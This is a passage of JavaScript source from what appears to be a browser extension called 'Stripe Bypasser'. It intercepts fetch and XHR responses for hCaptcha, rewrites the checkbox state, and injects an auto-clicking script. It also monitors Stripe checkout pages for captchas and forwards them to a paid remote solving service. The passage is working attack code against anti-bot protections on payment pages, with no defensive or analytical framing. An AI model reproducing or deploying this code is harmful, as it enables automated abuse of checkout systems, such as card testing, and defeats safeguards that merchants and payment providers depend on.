     }, 300);\n        \n        return true;\n      } catch (e) {\n        return false;\n      }\n    }\n    \n    return false;\n  }\n  \n  // Start interval-based clicking (faster interval for better responsiveness)\n  checkboxInterval = setInterval(function() {\n    if (!isSolved) {\n      attemptClick();\n    } else if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 400); // Reduced from 500ms to 400ms for faster response\n  \n  // Initial rapid attempts (optimized timing)\n  setTimeout(attemptClick, 50);\n  setTimeout(attemptClick, 200);\n  setTimeout(attemptClick, 400);\n  setTimeout(attemptClick, 600);\n  setTimeout(attemptClick, 800);\n  \n  // Cleanup after timeout\n  setTimeout(() => {\n    if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 25000); // Reduced timeout to 25 seconds\n  \n})();\n</script>";
                  }
                  stripeBypasserLogger.log(
                    htmlWasModified
                      ? "[HCaptchaInterceptor] ✅ Successfully modified hCaptcha HTML - replaced " +
                          patternMatchCount +
                          " aria-checked patterns and injected auto-click script"
                      : "[HCaptchaInterceptor] ✅ Injected auto-click script into hCaptcha HTML"
                  );
                  try {
                    if (typeof window !== "undefined" && window.top !== window.self) {
                      window.top.postMessage(
                        {
                          type: "STRIPE_BYPASSER_SHOW_BANNER",
                          bannerText: "hCaptcha Modified",
                          bannerType: "success",
                          details: "Auto-click script injected"
                        },
                        "*"
                      );
                    } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
                      window.createStripeBypassBanner(
                        "hCaptcha Modified",
                        "success",
                        "Auto-click script injected"
                      );
                    }
                  } catch (error) {
                    console.warn("[Deep Bypasser] Operation failed", error.message);
                  }
                  const responseInit = {
                    status: response.status,
                    statusText: response.statusText,
                    headers: response.headers
                  };
                  if (!htmlWasModified) {
                    stripeBypasserLogger.debug(
                      "[HCaptchaInterceptor] Response preview:",
                      responseHtml.substring(0, 500)
                    );
                  }
                  return new Response(modifiedHtml, responseInit);
                })
                .catch(asyncError => {
                  stripeBypasserLogger.warn(
                    "[HCaptchaInterceptor] Error modifying response:",
                    asyncError
                  );
                  return response;
                })
            );
          }
          return originalFetch.apply(this, fetchArgs);
        };
        const xmlhttpPrototypeOpenValue = XMLHttpRequest.prototype.open;
        const xmlhttpPrototypeSendValue = XMLHttpRequest.prototype.send;
        XMLHttpRequest.prototype.open = function interceptHcaptchaXhrOpen(
          requestMethod,
          requestUrl,
          ...openArgs
        ) {
          this._url = requestUrl;
          return xmlhttpPrototypeOpenValue.apply(this, [requestMethod, requestUrl, ...openArgs]);
        };
        XMLHttpRequest.prototype.send = function interceptHcaptchaXhrSend(...sendArgs) {
          const requestUrl = this._url;
          if (requestUrl && hcaptchaHtmlUrlPattern.test(requestUrl) && shouldUseAutoclickMode()) {
            stripeBypasserLogger.log(
              "[HCaptchaInterceptor] Intercepting hCaptcha HTML XHR request:",
              requestUrl
            );
            const onreadystatechangeValue = this.onreadystatechange;
            this.onreadystatechange = function handleHcaptchaReadyStateChange(...callbackArgs) {
              if (this.readyState === 4 && this.status === 200) {
                try {
                  let responseTextValue = this.responseText;
                  let payloadWasModified = false;
                  let patternMatchCount = 0;
                  hcaptchaAriaPatterns.forEach((item, index) => {
                    if (item.test(responseTextValue)) {
                      const originalResponseText = responseTextValue;
                      responseTextValue = responseTextValue.replace(item, matchedSegment =>
                        matchedSegment.replace(/!1|false|0/, "!0")
                      );
                      if (responseTextValue !== originalResponseText) {
                        payloadWasModified = true;
                        patternMatchCount++;
                        stripeBypasserLogger.log(
                          "[HCaptchaInterceptor] Modified XHR pattern " + (index + 1) + ":",
                          item.toString().substring(0, 50)
                        );
                      }
                    }
                  });
                  if (responseTextValue.includes("</body>")) {
                    responseTextValue = responseTextValue.replace(
                      "</body>",
                      "<script>\n(function() {\n  'use strict';\n  const CHECKBOX = \"#checkbox\";\n  const ARIA_CHECKED = \"aria-checked\";\n  \n  function qSelector(selector) {\n    return document.querySelector(selector);\n  }\n  \n  function isHidden(el) {\n    if (!el) return true;\n    return (el.offsetParent === null || el.style.display === 'none' || el.style.visibility === 'hidden');\n  }\n  \n  let clickAttempted = false;\n  let checkboxInterval = null;\n  let maxAttempts = 60; // 25 seconds at 400ms interval\n  let attemptCount = 0;\n  let isSolved = false;\n  \n  function attemptClick() {\n    attemptCount++;\n    \n    // Stop if we've exceeded max attempts\n    if (attemptCount > maxAttempts) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      return false;\n    }\n    \n    const checkbox = qSelector(CHECKBOX);\n    if (!checkbox) return false;\n    \n    const ariaChecked = checkbox.getAttribute(ARIA_CHECKED);\n    const hidden = isHidden(checkbox);\n    \n    // Check if already solved\n    if (ariaChecked === \"true\" || checkbox.checked === true) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      isSolved = true;\n      return true;\n    }\n    \n    // Try to click if checkbox is visible and not checked\n    if (!hidden && (ariaChecked === \"false\" || !ariaChecked)) {\n      try {\n        // Multiple click methods for better reliability\n        if (typeof checkbox.click === 'function') {\n          checkbox.click();\n        }\n        \n        // Also try programmatic click via event\n        try {\n          const clickEvent = new MouseEvent('click', {\n            bubbles: true,\n            cancelable: true,\n            view: window\n          });\n          checkbox.dispatchEvent(clickEvent);\n        } catch (e) {\n          // Fallback method\n        }\n        \n        clickAttempted = true;\n        \n        // Verify click was successful with shorter delay\n        setTimeout(() => {\n          const newAriaChecked = checkbox.getAttribute(ARIA_CHECKED);\n          const isChecked = checkbox.checked === true;\n          \n          if (newAriaChecked === \"true\" || isChecked) {\n            if (checkboxInterval) {\n              clearInterval(checkboxInterval);\n              checkboxInterval = null;\n            }\n            isSolved = true;\n          }\n        }, 300);\n        \n        return true;\n      } catch (e) {\n        return false;\n      }\n    }\n    \n    return false;\n  }\n  \n  // Start interval-based clicking (faster interval for better responsiveness)\n  checkboxInterval = setInterval(function() {\n    if (!isSolved) {\n      attemptClick();\n    } else if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 400); // Reduced from 500ms to 400ms for faster response\n  \n  // Initial rapid attempts (optimized timing)\n  setTimeout(attemptClick, 50);\n  setTimeout(attemptClick, 200);\n  setTimeout(attemptClick, 400);\n  setTimeout(attemptClick, 600);\n  setTimeout(attemptClick, 800);\n  \n  // Cleanup after timeout\n  setTimeout(() => {\n    if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 25000); // Reduced timeout to 25 seconds\n  \n})();\n</script></body>"
                    );
                  } else if (responseTextValue.includes("</html>")) {
                    responseTextValue = responseTextValue.replace(
                      "</html>",
                      "<script>\n(function() {\n  'use strict';\n  const CHECKBOX = \"#checkbox\";\n  const ARIA_CHECKED = \"aria-checked\";\n  \n  function qSelector(selector) {\n    return document.querySelector(selector);\n  }\n  \n  function isHidden(el) {\n    if (!el) return true;\n    return (el.offsetParent === null || el.style.display === 'none' || el.style.visibility === 'hidden');\n  }\n  \n  let clickAttempted = false;\n  let checkboxInterval = null;\n  let maxAttempts = 60; // 25 seconds at 400ms interval\n  let attemptCount = 0;\n  let isSolved = false;\n  \n  function attemptClick() {\n    attemptCount++;\n    \n    // Stop if we've exceeded max attempts\n    if (attemptCount > maxAttempts) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      return false;\n    }\n    \n    const checkbox = qSelector(CHECKBOX);\n    if (!checkbox) return false;\n    \n    const ariaChecked = checkbox.getAttribute(ARIA_CHECKED);\n    const hidden = isHidden(checkbox);\n    \n    // Check if already solved\n    if (ariaChecked === \"true\" || checkbox.checked === true) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      isSolved = true;\n      return true;\n    }\n    \n    // Try to click if checkbox is visible and not checked\n    if (!hidden && (ariaChecked === \"false\" || !ariaChecked)) {\n      try {\n        // Multiple click methods for better reliability\n        if (typeof checkbox.click === 'function') {\n          checkbox.click();\n        }\n        \n        // Also try programmatic click via event\n        try {\n          const clickEvent = new MouseEvent('click', {\n            bubbles: true,\n            cancelable: true,\n            view: window\n          });\n          checkbox.dispatchEvent(clickEvent);\n        } catch (e) {\n          // Fallback method\n        }\n        \n        clickAttempted = true;\n        \n        // Verify click was successful with shorter delay\n        setTimeout(() => {\n          const newAriaChecked = checkbox.getAttribute(ARIA_CHECKED);\n          const isChecked = checkbox.checked === true;\n          \n          if (newAriaChecked === \"true\" || isChecked) {\n            if (checkboxInterval) {\n              clearInterval(checkboxInterval);\n              checkboxInterval = null;\n            }\n            isSolved = true;\n          }\n        }, 300);\n        \n        return true;\n      } catch (e) {\n        return false;\n      }\n    }\n    \n    return false;\n  }\n  \n  // Start interval-based clicking (faster interval for better responsiveness)\n  checkboxInterval = setInterval(function() {\n    if (!isSolved) {\n      attemptClick();\n    } else if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 400); // Reduced from 500ms to 400ms for faster response\n  \n  // Initial rapid attempts (optimized timing)\n  setTimeout(attemptClick, 50);\n  setTimeout(attemptClick, 200);\n  setTimeout(attemptClick, 400);\n  setTimeout(attemptClick, 600);\n  setTimeout(attemptClick, 800);\n  \n  // Cleanup after timeout\n  setTimeout(() => {\n    if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 25000); // Reduced timeout to 25 seconds\n  \n})();\n</script></html>"
                    );
                  } else {
                    responseTextValue +=
                      "<script>\n(function() {\n  'use strict';\n  const CHECKBOX = \"#checkbox\";\n  const ARIA_CHECKED = \"aria-checked\";\n  \n  function qSelector(selector) {\n    return document.querySelector(selector);\n  }\n  \n  function isHidden(el) {\n    if (!el) return true;\n    return (el.offsetParent === null || el.style.display === 'none' || el.style.visibility === 'hidden');\n  }\n  \n  let clickAttempted = false;\n  let checkboxInterval = null;\n  let maxAttempts = 60; // 25 seconds at 400ms interval\n  let attemptCount = 0;\n  let isSolved = false;\n  \n  function attemptClick() {\n    attemptCount++;\n    \n    // Stop if we've exceeded max attempts\n    if (attemptCount > maxAttempts) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      return false;\n    }\n    \n    const checkbox = qSelector(CHECKBOX);\n    if (!checkbox) return false;\n    \n    const ariaChecked = checkbox.getAttribute(ARIA_CHECKED);\n    const hidden = isHidden(checkbox);\n    \n    // Check if already solved\n    if (ariaChecked === \"true\" || checkbox.checked === true) {\n      if (checkboxInterval) {\n        clearInterval(checkboxInterval);\n        checkboxInterval = null;\n      }\n      isSolved = true;\n      return true;\n    }\n    \n    // Try to click if checkbox is visible and not checked\n    if (!hidden && (ariaChecked === \"false\" || !ariaChecked)) {\n      try {\n        // Multiple click methods for better reliability\n        if (typeof checkbox.click === 'function') {\n          checkbox.click();\n        }\n        \n        // Also try programmatic click via event\n        try {\n          const clickEvent = new MouseEvent('click', {\n            bubbles: true,\n            cancelable: true,\n            view: window\n          });\n          checkbox.dispatchEvent(clickEvent);\n        } catch (e) {\n          // Fallback method\n        }\n        \n        clickAttempted = true;\n        \n        // Verify click was successful with shorter delay\n        setTimeout(() => {\n          const newAriaChecked = checkbox.getAttribute(ARIA_CHECKED);\n          const isChecked = checkbox.checked === true;\n          \n          if (newAriaChecked === \"true\" || isChecked) {\n            if (checkboxInterval) {\n              clearInterval(checkboxInterval);\n              checkboxInterval = null;\n            }\n            isSolved = true;\n          }\n        }, 300);\n        \n        return true;\n      } catch (e) {\n        return false;\n      }\n    }\n    \n    return false;\n  }\n  \n  // Start interval-based clicking (faster interval for better responsiveness)\n  checkboxInterval = setInterval(function() {\n    if (!isSolved) {\n      attemptClick();\n    } else if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 400); // Reduced from 500ms to 400ms for faster response\n  \n  // Initial rapid attempts (optimized timing)\n  setTimeout(attemptClick, 50);\n  setTimeout(attemptClick, 200);\n  setTimeout(attemptClick, 400);\n  setTimeout(attemptClick, 600);\n  setTimeout(attemptClick, 800);\n  \n  // Cleanup after timeout\n  setTimeout(() => {\n    if (checkboxInterval) {\n      clearInterval(checkboxInterval);\n      checkboxInterval = null;\n    }\n  }, 25000); // Reduced timeout to 25 seconds\n  \n})();\n</script>";
                  }
                  Object.defineProperty(this, "responseText", {
                    get() {
                      return responseTextValue;
                    },
                    configurable: true
                  });
                  Object.defineProperty(this, "response", {
                    get() {
                      return responseTextValue;
                    },
                    configurable: true
                  });
                  stripeBypasserLogger.log(
                    payloadWasModified
                      ? "[HCaptchaInterceptor] ✅ Modified hCaptcha HTML via XHR - replaced " +
                          patternMatchCount +
                          " patterns and injected auto-click script"
                      : "[HCaptchaInterceptor] ✅ Injected auto-click script via XHR"
                  );
                  try {
                    if (typeof window !== "undefined" && window.top !== window.self) {
                      window.top.postMessage(
                        {
                          type: "STRIPE_BYPASSER_SHOW_BANNER",
                          bannerText: "hCaptcha Modified",
                          bannerType: "success",
                          details: "Auto-click script injected"
                        },
                        "*"
                      );
                    } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
                      window.createStripeBypassBanner(
                        "hCaptcha Modified",
                        "success",
                        "Auto-click script injected"
                      );
                    }
                  } catch (error) {
                    console.warn("[Deep Bypasser] Operation failed", error.message);
                  }
                } catch (error) {
                  stripeBypasserLogger.warn(
                    "[HCaptchaInterceptor] Error modifying XHR response:",
                    error
                  );
                }
              }
              if (onreadystatechangeValue) {
                onreadystatechangeValue.apply(this, callbackArgs);
              }
            };
          }
          return xmlhttpPrototypeSendValue.apply(this, sendArgs);
        };
      }
    }
  }
  if (
    typeof window !== "undefined" &&
    (window.location.hostname.includes("hcaptcha.com") ||
      window.location.href.includes("hcaptcha") ||
      window.location.href.includes("checkbox"))
  ) {
    const syncAutoCaptchaSettings = () => {
      try {
        if (
          typeof window !== "undefined" &&
          window.parent &&
          window.parent.__STRIPE_BYPASSER_ADVANCED_SETTINGS__
        ) {
          autoCaptchaEnabled =
            window.parent.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.autoCaptcha || false;
        }
        if (
          typeof window !== "undefined" &&
          window.top &&
          window.top.__STRIPE_BYPASSER_ADVANCED_SETTINGS__
        ) {
          autoCaptchaEnabled =
            window.top.__STRIPE_BYPASSER_ADVANCED_SETTINGS__.autoCaptcha || false;
        }
      } catch (error) {
        autoCaptchaEnabled = true;
      }
    };
    const queryElement = selector => {
      if (typeof document !== "undefined") {
        return document.querySelector(selector);
      }
      return null;
    };
    const isElementHidden = element => {
      return element && element.offsetParent === null;
    };
    let autoCaptchaEnabled = false;
    syncAutoCaptchaSettings();
    if (typeof window !== "undefined") {
      window.addEventListener("message", event => {
        if (event.data && event.data.type === "STRIPE_BYPASSER_ADVANCED_SETTINGS") {
          autoCaptchaEnabled = event.data.settings?.autoCaptcha || false;
        }
      });
    }
    let settingsPollCount = 0;
    const intervalId = setInterval(() => {
      settingsPollCount++;
      syncAutoCaptchaSettings();
      if (settingsPollCount >= 10) {
        clearInterval(intervalId);
      }
    }, 200);
    if (
      typeof window !== "undefined" &&
      (window.location.href.includes("checkbox") || autoCaptchaEnabled)
    ) {
      const tryClickCheckbox = () => {
        const checkboxElement = queryElement("#checkbox");
        if (!checkboxElement) {
          return false;
        }
        const ariaCheckedState = checkboxElement.getAttribute("aria-checked");
        const checkboxIsHidden = isElementHidden(checkboxElement);
        if (ariaCheckedState === "true") {
          if (checkboxPollTimer) {
            clearInterval(checkboxPollTimer);
            checkboxPollTimer = null;
          }
          try {
            if (typeof window !== "undefined" && window.parent && window.parent !== window) {
              window.parent.postMessage(
                {
                  type: "STRIPE_BYPASSER_SHOW_BANNER",
                  bannerText: "hCaptcha Solved",
                  bannerType: "success",
                  details: "Checkbox was already checked"
                },
                "*"
              );
            }
          } catch (error) {
            console.warn("[Deep Bypasser] Operation failed", error.message);
          }
          return true;
        }
        if (!checkboxIsHidden && ariaCheckedState === "false") {
          try {
            checkboxElement.click();
            setTimeout(() => {
              if (checkboxElement.getAttribute("aria-checked") === "true" && checkboxPollTimer) {
                clearInterval(checkboxPollTimer);
                checkboxPollTimer = null;
              }
            }, 500);
            return true;
          } catch (error) {
            return false;
          }
        }
        return false;
      };
      let checkboxPollTimer = null;
      checkboxPollTimer = setInterval(() => {
        tryClickCheckbox();
      }, 500);
      setTimeout(tryClickCheckbox, 100);
      setTimeout(tryClickCheckbox, 500);
      setTimeout(tryClickCheckbox, 1000);
      setTimeout(() => {
        if (checkboxPollTimer) {
          clearInterval(checkboxPollTimer);
          checkboxPollTimer = null;
        }
      }, 30000);
    }
  }
  let autoCaptchaEnabled = false;
  let captchaApiKey = "";
  let captchaServiceProvider = "2captcha";
  let captchaDomObserver = null;
  let isCaptchaAutoSolveRunning = false;
  let lastMutationThrottle = 0;
  let captchaMonitorTimer = null;
  let hcaptchaMessageListener = null;
  let isCaptchaCheckPending = false;
  let captchaCheckTimeout = null;
  let visibilityChangeListener = null;
  let isPageVisible = true;
  const captchaBaseMonitorInterval =
    typeof window !== "undefined" && window.__STRIPE_BYPASSER_IS_MOBILE__ ? 5000 : 3000;
  function getCaptchaMonitorInterval() {
    return getThrottleInterval(captchaBaseMonitorInterval, shouldReduceAnimations() ? 2 : 1);
  }
  function getCaptchaObserverInterval() {
    return getThrottleInterval(300, shouldReduceAnimations() ? 1.5 : 1);
  }
  let captchaMonitorInterval = getCaptchaMonitorInterval();
  let captchaObserveDelay = getCaptchaObserverInterval();
  const activeCaptchaKeySet = new Set();
  const processedCaptchaTimestamps = new Map();
  const hcaptchaInputCache = {
    hcaptchaInput: null,
    lastCacheTime: 0,
    cacheTTL: 1000
  };
  function shouldUseRemoteCaptchaSolver() {
    return autoCaptchaEnabled && captchaServiceProvider !== "autoclick" && !!captchaApiKey;
  }
  function reloadCaptchaSettings() {
    stopCaptchaMonitor();
    autoCaptchaEnabled = false;
    captchaApiKey = "";
    captchaServiceProvider = "autoclick";
    if (window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__) {
      const advancedSettings = window.__STRIPE_BYPASSER_ADVANCED_SETTINGS__;
      const autoCaptchaSetting = advancedSettings.autoCaptcha === true;
      const captchaApiKeySetting = advancedSettings.captchaApiKey || "";
      const captchaServiceSetting = advancedSettings.captchaService || "autoclick";
      autoCaptchaEnabled = autoCaptchaSetting;
      captchaApiKey = captchaApiKeySetting;
      captchaServiceProvider = captchaServiceSetting;
      if (shouldUseRemoteCaptchaSolver()) {
        start();
      }
      return;
    }
    if (typeof chrome !== "undefined" && chrome.storage) {
      chrome.storage.local.get(["bypasserAdvancedSettings"], storageItems => {
        const advancedSettings = storageItems.bypasserAdvancedSettings || {};
        const autoCaptchaSetting = advancedSettings.autoCaptcha === true;
        const captchaApiKeySetting = advancedSettings.captchaApiKey || "";
        const captchaServiceSetting = advancedSettings.captchaService || "autoclick";
        stopCaptchaMonitor();
        autoCaptchaEnabled = autoCaptchaSetting;
        captchaApiKey = captchaApiKeySetting;
        captchaServiceProvider = captchaServiceSetting;
        if (shouldUseRemoteCaptchaSolver()) {
          start();
        }
      });
    }
  }
  function start() {
    if (!autoCaptchaEnabled) {
      stripeBypasserLogger.log("[CaptchaHandler] Cannot start monitoring - disabled");
      return;
    }
    if (captchaDomObserver) {
      stopCaptchaMonitor();
    }
    check();
    if (captchaMonitorTimer) {
      clearInterval(captchaMonitorTimer);
    }
    captchaMonitorInterval = getCaptchaMonitorInterval();
    captchaMonitorTimer = setInterval(() => {
      if (!autoCaptchaEnabled) {
        clearInterval(captchaMonitorTimer);
        captchaMonitorTimer = null;
        stopCaptchaMonitor();
        return;
      }
      if (isPageVisible) {
        if (shouldUseRemoteCaptchaSolver()) {
          check();
        } else {
          clearInterval(captchaMonitorTimer);
          captchaMonitorTimer = null;
          stopCaptchaMonitor();
        }
      }
    }, captchaMonitorInterval);
    if (typeof document !== "undefined") {
      isPageVisible = !document.hidden;
      visibilityChangeListener = () => {
        isPageVisible = !document.hidden;
        if (isPageVisible) {
          hcaptchaInputCache.hcaptchaInput = null;
          hcaptchaInputCache.lastCacheTime = 0;
        }
      };
      document.addEventListener("visibilitychange", visibilityChangeListener);
    }
    captchaDomObserver = new MutationObserver(mutationList => {
      const now = Date.now();
      const mutationThrottleInterval = getThrottleInterval(
        typeof window !== "undefined" && window.__STRIPE_BYPASSER_IS_MOBILE__ ? 1500 : 800,
        shouldReduceAnimations() ? 2 : 1
      );
      if (now - lastMutationThrottle < mutationThrottleInterval) {
        return;
      }
      lastMutationThrottle = now;
      let hasAddedNodes = false;
      for (const mutationRecord of mutationList) {
        if (mutationRecord.addedNodes && mutationRecord.addedNodes.length > 0) {
          hasAddedNodes = true;
          break;
        }
      }
      if (!hasAddedNodes) {
        return;
      }
      let foundCaptchaMutation = false;
      let payloadWasModified = false;
      for (const mutationRecord of mutationList) {
        if (mutationRecord.addedNodes && mutationRecord.addedNodes.length > 0) {
          for (
            let addedNodeIndex = 0;
            addedNodeIndex < mutationRecord.addedNodes.length;
            addedNodeIndex++
          ) {
            const addedNode = mutationRecord.addedNodes[addedNodeIndex];
            if (addedNode.nodeType !== 1) {
              continue;
            }
            const addedElement = addedNode;
            if (addedElement.tagName === "IFRAME") {
              const normalizedText = (
                addedElement.src ||
                addedElement.getAttribute("src") ||
                ""
              ).toLowerCase();
              if (
                normalizedText.includes("hcaptcha") ||
                normalizedText.includes("captcha") ||
                normalizedText.includes("turnstile") ||
                normalizedText.includes("cloudflare")
              ) {
                foundCaptchaMutation = true;
                payloadWasModified = true;
                break;
              }
            }
            if (!foundCaptchaMutation) {
              const normalizedText = (addedElement.className || "").toString().toLowerCase();
              const elementIdText = (addedElement.id || "").toString().toLowerCase();
              if (
                normalizedText.includes("hcaptcha") ||
                normalizedText.includes("captcha") ||
                normalizedText.includes("turnstile") ||
                elementIdText.includes("hcaptcha") ||
                elementIdText.includes("captcha") ||
                elementIdText.includes("turnstile")
              ) {
                foundCaptchaMutation = true;
                break;
              }
            }
          }
        }
      }
      if (foundCaptchaMutation) {
        const isStripePage =
          window.location.hostname.includes("stripe.com") ||
          window.location.hostname.includes("checkout.stripe") ||
          document.URL.includes("stripe.com");
        let timeout = payloadWasModified ? 300 : 400;
        if (isStripePage) {
          timeout = payloadWasModified ? 600 : 800;
        }
        const syncAutoCaptchaConfig = () => {
          setTimeout(() => {
            check();
          }, timeout);
        };
        if (window.requestIdleCallback && timeout > 500) {
          window.requestIdleCallback(syncAutoCaptchaConfig, {
            timeout
          });
        } else {
          syncAutoCaptchaConfig();
        }
      }
    });
    const hasElement = document.body || document.documentElement;
    if (hasElement) {
      captchaDomObserver.observe(hasElement, {
        childList: true,
        subtree: false,
        attributes: false
      });
    }
    document.addEventListener("submit", handleCaptchaFormSubmit, true);
    window.addEventListener("message", handleCaptchaCheckMessage, false);
    if (hcaptchaMessageListener) {
      window.removeEventListener("message", hcaptchaMessageListener, false);
    }
    hcaptchaMessageListener = messageEvent => {
      if (
        messageEvent.origin &&
        (messageEvent.origin.includes("hcaptcha.com") ||
          messageEvent.origin.includes("js.hcaptcha.com"))
      ) {
        stripeBypasserLogger.log(
          "[CaptchaHandler] Received message from hCaptcha:",
          messageEvent.data
        );
        if (
          messageEvent.data &&
          (messageEvent.data.type === "checkbox-clicked" ||
            messageEvent.data.type === "hcaptcha-response" ||
            (typeof messageEvent.data === "object" && messageEvent.data.response))
        ) {
          setTimeout(() => {
            check();
          }, 500);
        }
      }
    };
    window.addEventListener("message", hcaptchaMessageListener, false);
  }
  function stopCaptchaMonitor() {
    if (captchaDomObserver) {
      captchaDomObserver.disconnect();
      captchaDomObserver = null;
    }
    if (captchaMonitorTimer) {
      clearInterval(captchaMonitorTimer);
      captchaMonitorTimer = null;
    }
    if (captchaCheckTimeout) {
      clearTimeout(captchaCheckTimeout);
      captchaCheckTimeout = null;
    }
    if (visibilityChangeListener && typeof document !== "undefined") {
      document.removeEventListener("visibilitychange", visibilityChangeListener);
      visibilityChangeListener = null;
    }
    document.removeEventListener("submit", handleCaptchaFormSubmit, true);
    window.removeEventListener("message", handleCaptchaCheckMessage, false);
    if (hcaptchaMessageListener) {
      window.removeEventListener("message", hcaptchaMessageListener, false);
      hcaptchaMessageListener = null;
    }
    activeCaptchaKeySet.clear();
    isCaptchaAutoSolveRunning = false;
    isCaptchaCheckPending = false;
    hcaptchaInputCache.hcaptchaInput = null;
    hcaptchaInputCache.lastCacheTime = 0;
  }
  function getCaptchaTrackingKey(captchaInfo) {
    if (!captchaInfo) {
      return null;
    }
    const captchaElement = captchaInfo.element;
    if (!captchaElement) {
      return captchaInfo.type + "_" + (captchaInfo.sitekey || "unknown");
    }
    const elementId = captchaElement.id || "";
    const elementClassName = (captchaElement.className || "").toString();
    const sitekey = captchaInfo.sitekey || "";
    return (
      captchaInfo.type + "_" + sitekey + "_" + elementId + "_" + elementClassName.substring(0, 50)
    );
  }
  function markCaptchaProcessed(captchaTrackingKey) {
    if (
      captchaTrackingKey &&
      (activeCaptchaKeySet.delete(captchaTrackingKey),
      processedCaptchaTimestamps.set(captchaTrackingKey, Date.now()),
      processedCaptchaTimestamps.size > 100)
    ) {
      const now = Date.now();
      for (const [staleCaptchaKey, processedAt] of processedCaptchaTimestamps.entries()) {
        if (now - processedAt > 10000) {
          processedCaptchaTimestamps.delete(staleCaptchaKey);
        }
      }
    }
  }
  async function check() {
    let settingsData = {};
    if (window.StripeBypasserSettings && typeof window.StripeBypasserSettings.get === "function") {
      settingsData = window.StripeBypasserSettings.get();
    } else if (window.__STRIPE_BYPASSER_SETTINGS__) {
      settingsData = window.__STRIPE_BYPASSER_SETTINGS__;
    }
    if (settingsData && settingsData.enabled === false) {
      stripeBypasserLogger.log("[CaptchaHandler] Extension disabled, skipping captcha check");
      return;
    }
    if (isCaptchaAutoSolveRunning || isCaptchaCheckPending || !autoCaptchaEnabled) {
      return;
    }
    if (!window.StripeBypasserCaptchaDetector) {
      return;
    }
    if (captchaCheckTimeout) {
      clearTimeout(captchaCheckTimeout);
    }
    captchaObserveDelay = getCaptchaObserverInterval();
    const andSolveCaptchasCallback = () => {
      const lastCaptchaCheck = Date.now();
      window.__lastCaptchaCheck ||= 0;
      if (
        lastCaptchaCheck - window.__lastCaptchaCheck <
        getThrottleInterval(1000, shouldReduceAnimations() ? 1.5 : 1)
      ) {
        isCaptchaCheckPending = false;
      } else {
        window.__lastCaptchaCheck = lastCaptchaCheck;
        (async () => {
          if (isCaptchaAutoSolveRunning) {
            isCaptchaCheckPending = false;
            return;
          }
          isCaptchaCheckPending = false;
          let binList = [];
          try {
            isCaptchaAutoSolveRunning = true;
            const detectedCaptchas = window.StripeBypasserCaptchaDetector.detect();
            if (detectedCaptchas.length === 0) {
              isCaptchaAutoSolveRunning = false;
              return;
            }
            const matchingElements = document.querySelectorAll(
              'textarea[name="h-captcha-response"]'
            );
            const bannerDedupeCache = new Map();
            matchingElements.forEach(item => {
              if (item.value && item.value.length > 0) {
                bannerDedupeCache.set(item, item.value);
              }
            });
            const filteredItems = detectedCaptchas.filter(item => {
              if (!window.StripeBypasserCaptchaDetector.isVisible(item)) {
                return false;
              }
              if (item.type === "hcaptcha") {
                for (const [captchaField, captchaToken] of bannerDedupeCache.entries()) {
                  if (
                    captchaToken &&
                    captchaToken.length > 0 &&
                    ((captchaField.closest("form") || document.body).contains(item.element) ||
                      item.element.contains(captchaField))
                  ) {
                    return false;
                  }
                }
                return true;
              }
              const existingCaptchaToken = window.StripeBypasserCaptchaDetector.getToken(item);
              return !existingCaptchaToken || existingCaptchaToken.length === 0;
            });
            if (filteredItems.length === 0) {
              isCaptchaAutoSolveRunning = false;
              return;
            }
            const currentCaptchaCheckTime = Date.now();
            binList = filteredItems.filter(item => {
              const captchaTrackingKey = getCaptchaTrackingKey(item);
              if (!captchaTrackingKey) {
                return true;
              }
              if (activeCaptchaKeySet.has(captchaTrackingKey)) {
                return false;
              }
              const retryDelayMs = item.type === "hcaptcha" ? 15000 : 5000;
              const lastProcessedAt = processedCaptchaTimestamps.get(captchaTrackingKey);
              return !lastProcessedAt || currentCaptchaCheckTime - lastProcessedAt >= retryDelayMs;
            });
            if (binList.length === 0) {
              isCaptchaAutoSolveRunning = false;
              return;
            }
            if (!window.StripeBypasserCaptchaSolver) {
              isCaptchaAutoSolveRunning = false;
              return;
            }
            stripeBypasserLogger.log(
              "[CaptchaHandler] Found",
              filteredItems.length,
              "unsolved captcha(s), starting auto-solve..."
            );
            if (window.createStripeBypassBanner) {
              window.createStripeBypassBanner(
                "Solving Captcha",
                "info",
                "Detected " + filteredItems.length + " captcha(s), solving..."
              );
            }
            const solveResults = await window.StripeBypasserCaptchaSolver.autoSolve(captchaApiKey, {
              service: captchaServiceProvider,
              maxWaitTime: 120000
            });
            const solvedCaptchaCount = solveResults.filter(item => item.success).length;
            stripeBypasserLogger.log(
              "[CaptchaHandler] Solved",
              solvedCaptchaCount,
              "out of",
              solveResults.length,
              "captcha(s)"
            );
            isCaptchaAutoSolveRunning = false;
          } catch (error) {
            isCaptchaAutoSolveRunning = false;
            stripeBypasserLogger.error("[CaptchaHandler] Error solving captchas:", error);
          } finally {
            binList.forEach(item => {
              const captchaTrackingKey = getCaptchaTrackingKey(item);
              if (captchaTrackingKey) {
                markCaptchaProcessed(captchaTrackingKey);
              }
            });
          }
        })();
      }
    };
    isCaptchaCheckPending = true;
    captchaCheckTimeout = setTimeout(() => {
      if (window.requestIdleCallback && !isCaptchaAutoSolveRunning) {
        const timeout = shouldReduceAnimations() ? 1000 : 500;
        const timeoutOptions = {
          timeout
        };
